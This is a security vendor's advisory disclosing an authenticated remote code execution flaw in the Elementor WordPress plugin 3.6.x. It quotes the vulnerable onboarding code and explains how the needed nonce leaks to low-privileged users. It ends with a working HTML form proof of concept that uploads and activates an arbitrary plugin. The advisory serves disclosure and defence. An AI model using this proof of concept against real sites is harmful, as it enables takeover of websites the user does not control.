12 Apr 2022

5+ Million Install WordPress Plugin Elementor Contains Authenticated Remote Code Execution (RCE) Vulnerability

Late last week, third-party data we monitor showed what was possibly a hacker probing for usage of a WordPress plugin Elementor, which has 5+ million active installs according to WordPress, by the requesting this file:

/wp-content/plugins/elementor/readme.txt

We couldn’t find any recent disclosed vulnerabilities that should explain that, so we started doing our standard checks we do in a situation where a hacker may be exploiting an unfixed vulnerability in a plugin. What we immediately found was that plugin isn’t handling basic security right, as we found many functionalities where capabilities checks were missing where they shouldn’t. While some of those where not accessible to users that shouldn’t have access, we found at least one that is and the functionality accessible leads to one of the most serious types of vulnerabilities, remote code execution (RCE). That means that malicious code provided by the attacker can be run by the website.

In this instance, it is possible that the vulnerability might be exploitable by someone not logged in to WordPress, but it can easily be exploited by anyone logged in to WordPress who has access to WordPress admin dashboard. Unless another plugin restricts access to the admin dashboard, that would mean anyone logged in to WordPress would have access.

The vulnerability was introduced in the plugin in version 3.6.0, which was released on March 22. According to WordPress’ latest stats, 30.3 percent of users of the plugin are now on version 3.6.x.

Based on just what we saw in our very limited checking, we would recommend not using this plugin until it has had a thorough security review and all issues are addressed. That it has 5+ million installs and hasn’t been properly secured should be very concerning. It certainly isn’t for a lack of money at the developer, as they raised 15 million dollars in 2020. It also isn’t for a lack of reason to be concerned, as two years ago it was claimed a zero-day vulnerability in paid version of the plugin was being exploited.

We tested and confirmed that our firewall plugin for WordPress already protected against exploitation of this vulnerability when the option to restrict what types of of files can be uploaded in .zip files is enabled, as part of its protection against zero-day vulnerabilities. The next release of the firewall is planned to introduce protection more directly related to this type of situation (which also would be enabled by the default) and we are now looking to expand that protection to address to the situation involved here.

Last week introduced an improvement to our automated tools, including our Plugin Security Checker, to detect some instances of code like was vulnerable here and we have made a further improvement based on this situation. So you can check if other plugins might have a similar issue to what was found here using that tool.

Authenticated Remote Code Execution (RCE)

In the plugin’s file /core/app/modules/onboarding/module.php, the following code is set to run during admin_init, which means it runs even for those not logged in to WordPress:

434
435
436
437
438
439
440
add_action( 'admin_init', function() {
	if ( wp_doing_ajax() &&
		isset( $_POST['action'] ) &&
		isset( $_POST['_nonce'] ) &&
		wp_verify_nonce( $_POST['_nonce'], Ajax::NONCE_KEY )
	) {
		$this->maybe_handle_ajax();

That code will run another function in the file, maybe_handle_ajax(), if an AJAX request is being made and a valid nonce is provided. That function, in turn, will run other functions depending on the value of the POST input “action”:

377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
private function maybe_handle_ajax() {
	$result = [];
 
	// phpcs:ignore WordPress.Security.NonceVerification.Missing
	switch ( $_POST['action'] ) {
		case 'elementor_update_site_name':
			// If no value is passed for any reason, no need ot update the site name.
			$result = $this->maybe_update_site_name();
			break;
		case 'elementor_update_site_logo':
			$result = $this->maybe_update_site_logo();
			break;
		case 'elementor_upload_site_logo':
			$result = $this->maybe_upload_logo_image();
			break;
		case 'elementor_update_data_sharing':
			$result = $this->set_usage_data_opt_in();
			break;
		case 'elementor_activate_hello_theme':
			$result = $this->activate_hello_theme();
			break;
		case 'elementor_upload_and_install_pro':
			$result = $this->upload_and_install_pro();
			break;
		case 'elementor_update_onboarding_option':
			$result = $this->maybe_update_onboarding_db_option();
	}

Neither of those does a capabilities check to limit who can access them.

The RCE vulnerability we found involves the function upload_and_install_pro() accessible through the previous function. That function will install a WordPress plugin sent with the request:

301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
private function upload_and_install_pro() {
	$result = [];
	$error_message = __( 'There was a problem uploading your file', 'elementor' );
 
	// phpcs:ignore WordPress.Security.NonceVerification.Missing
	if ( empty( $_FILES['fileToUpload'] ) ) {
		$result = [
			'status' => 'error',
			'payload' => [
				'error_message' => $error_message,
			],
		];
 
		return $result;
	}
 
	if ( ! class_exists( 'Automatic_Upgrader_Skin' ) ) {
		require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
	}
 
	$skin = new Automatic_Upgrader_Skin();
	$upgrader = new Plugin_Upgrader( $skin );
	$upload_result   = $upgrader->install( $_FILES['fileToUpload']['tmp_name'], [ 'overwrite_package' => false ] );

That means that arbitrary files can be uploaded to the website. The RCE occurs as the code then tries to activate a plugin that would be located in the location of Elementor Pro:

333
$activated = activate_plugin( WP_PLUGIN_DIR . '/elementor-pro/elementor-pro.php', false, false, true );

So if plugin being uploaded matches that, it will get activated and the code in the relevant file will then run.

Based on all that, the only restriction in place is access to a valid nonce. What we found is that the relevant nonce is included in the line of the source code of admin pages of WordPress that starts “elementorCommonConfig”, which is included when logged in as a user with the Subscriber role.

WordPress Causes Full Disclosure

As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)

You can notify the developer of this issue on the forum as well.

Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will install the plugin specified, when logged in to WordPress.

Replace “[path to WordPress]” with the location of WordPress and “[nonce]” with the value of the nonce on the line of the source that begins on “elementorCommonConfig” on admin pages of the website.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" enctype="multipart/form-data" method="POST">
<input type="hidden" name="action" value="elementor_upload_and_install_pro" />
<input type="hidden" name="_nonce" value="[nonce]" />
<input type="file" name="fileToUpload" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Plugin Security Scorecard Grade for Elementor

Checked on June 30, 2025
F

See issues causing the plugin to get less than A+ grade

2 thoughts on “5+ Million Install WordPress Plugin Elementor Contains Authenticated Remote Code Execution (RCE) Vulnerability

  1. This has been fixed in Elementor 3.6.4, as mentioned in changelog “Optimized controls sanitization to enforce better security policies in Onboarding wizard” (https://wordpress.org/plugins/elementor/#developers).

    The fix is visible in the original source https://github.com/elementor/elementor/commit/5c3bcdf4e291e8d1ddb495a938023453646b1020#diff-e1c63fd822393f59547df1d9aa174933e8c48be4bbe3718da019d718d003b235R355-R358, and a also in WordPress centralized SVN: https://plugins.trac.wordpress.org/browser/elementor/trunk/core/app/modules/onboarding/module.php?annotate=blame&rev=2709267#L355

Leave a Reply

Your email address will not be published.